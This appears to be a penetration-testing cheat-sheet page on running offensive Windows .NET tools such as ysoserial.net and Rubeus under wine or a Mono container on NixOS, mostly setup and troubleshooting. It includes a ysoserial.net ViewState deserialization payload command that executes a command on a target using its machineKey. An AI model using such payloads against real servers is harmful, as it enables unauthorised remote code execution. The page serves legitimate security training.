TOOL^:Tools

Windows .NET Tooling on wine (NixOS)

Run Windows-only offensive .NET binaries — ysoserial.net, Rubeus, SharpHound and friends — from a Linux attack box using wine or a Mono container, with NixOS-specific setup.

intermediateupdated 2026-10-13wine · mono · ysoserial.net

Windows .NET Tooling on wine (NixOS)

A lot of offensive tooling ships as a Windows-only .NET Framework executable: ysoserial.net, and precompiled builds of Rubeus, SharpHound, Seatbelt, Certify and so on. When your attack box is Linux you have three honest options, in order of reliability: (1) a throwaway Windows VM, (2) a Mono container, (3) wine. This sheet covers the two Linux routes and the NixOS specifics that trip people up.

Rule of thumb: generators that only emit a payload string (like ysoserial.net) run fine under wine/Mono because the output is bound to the target, not the build host. Tools that must talk to a live Windows/AD service (Rubeus asking a KDC for tickets) are far happier on a real Windows runtime — use a VM or run them on the target.


1. Get the files, keep them quarantined

Downloaded binaries are untrusted. Put each in its own directory, verify the release hash against the project page, and never run an interpreter or build tool from inside that directory.

mkdir -p ~/tools/ysoserial && cd ~/tools/ysoserial
curl -sLO https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1.36.zip
unzip ysoserial-1.36.zip

2. Route A — wine via nix shell (no install, no root)

nix shell drops wine into one shell without touching your system config. Use a Wow package: many of these binaries are 32-bit (file ysoserial.exe → PE32 executable … Intel 80386), and a 64-bit-only wine rejects them with Bad EXE format.

Take wineWow64Packages, not wineWowPackages — nixpkgs deprecated the latter as “no longer preferred by upstream” and it now warns on every evaluation. The new-WoW64 build is a single 64-bit wine that runs 32-bit PEs without a multilib build beside it. The old multilib package still exists if a 32-bit binary misbehaves in a way that looks like a WoW64 bug rather than a missing Framework API.

nix shell nixpkgs#wineWow64Packages.stable   # drops you into a subshell with wine on PATH

# isolate the prefix so each tool/engagement is disposable
export WINEPREFIX=~/.wine-offsec
export WINEDEBUG=-all          # silence the firehose of fixme: logs
wineboot --init                # first run only; slow, let it finish

wine ~/tools/ysoserial/ysoserial.exe --help

nix shell starts an interactive subshell, so everything after it runs inside that shell and exit gives you your prompt back. For a one-shot or a script, use -c instead so there is no subshell to leave:

nix shell nixpkgs#wineWow64Packages.stable -c wine ~/tools/ysoserial/ysoserial.exe --help

If --help prints, you are done. To throw the prefix away and start clean:

rm -rf ~/.wine-offsec

Persisting wine on NixOS (optional)

To keep wine permanently rather than per-shell, add it in configuration.nix:

environment.systemPackages = with pkgs; [ wineWow64Packages.stable winetricks ];
sudo nixos-rebuild switch

3. Route B — Mono container (reproducible, disposable)

Closest thing to a real .NET runtime without a Windows box. NixOS caveat: you cannot start a Docker daemon from a nix shell — the daemon is a system service, so this route needs a configuration.nix change and a rebuild, not just a shell.

# pick one
virtualisation.docker.enable = true;
users.users.<you>.extraGroups = [ "docker" ];
# -- or, usually the better fit on NixOS: daemonless, rootless --
virtualisation.podman.enable = true;
virtualisation.podman.dockerCompat = true;
sudo nixos-rebuild switch      # then log out/in for the group to apply

cd ~/tools/ysoserial
podman run --rm -it -v "$PWD":/ys:ro -w /ys mono:latest \
  mono ysoserial.exe --help

Mount the tool read-only (:ro) and let the container be --rm disposable. The container has no network by default unless you add --network host, which you rarely want for a pure payload generator.


4. Worked example — ysoserial.net ViewState

Same invocation on every runtime; only the launcher (wine / mono / native) changes. The four crypto values come from the target’s web.config machineKey.

wine ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --path="/portfolio/default.aspx" \
  --decryptionalg="AES" --decryptionkey="<decryption-key-hex>" \
  --validationalg="SHA1" --validationkey="<validation-key-hex>" \
  -c "ping 10.10.14.6"

Full flag reference, framework-mode gotchas and the double-URL-encoding trap live on the ysoserial.net sheet.


5. Troubleshooting

SymptomCause / fix
wine: Bad EXE format for ...exe32-bit binary on 64-bit-only wine. Use wineWow64Packages.stable.
.NET stack trace naming mscorlib / assembly load failureGadget or code path hits Framework internals wine lacks. Try another gadget, or switch to the Mono container / a Windows VM.
wineboot appears to hangFirst prefix build is genuinely slow. Let it finish once; set WINEDEBUG=-all to quiet logs.
Endless fixme: noiseCosmetic. export WINEDEBUG=-all.
Cannot connect to the Docker daemonOn NixOS the daemon is off by default — enable it in configuration.nix and rebuild; a nix shell cannot start it.
permission denied on the docker socketAdd your user to the docker group and re-login, or use rootless Podman.
Tool runs but network calls fail (Rubeus, etc.)wine/Mono networking to live AD is unreliable. Run these on a Windows VM or on the target, not on the Linux box.

See Also

  • ysoserial.net — the ViewState/deserialization flags in full
  • File Transfers — getting the generated payloads and tools onto the target
  • Metasploit — multi/handler and migrate for the shell that often follows

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.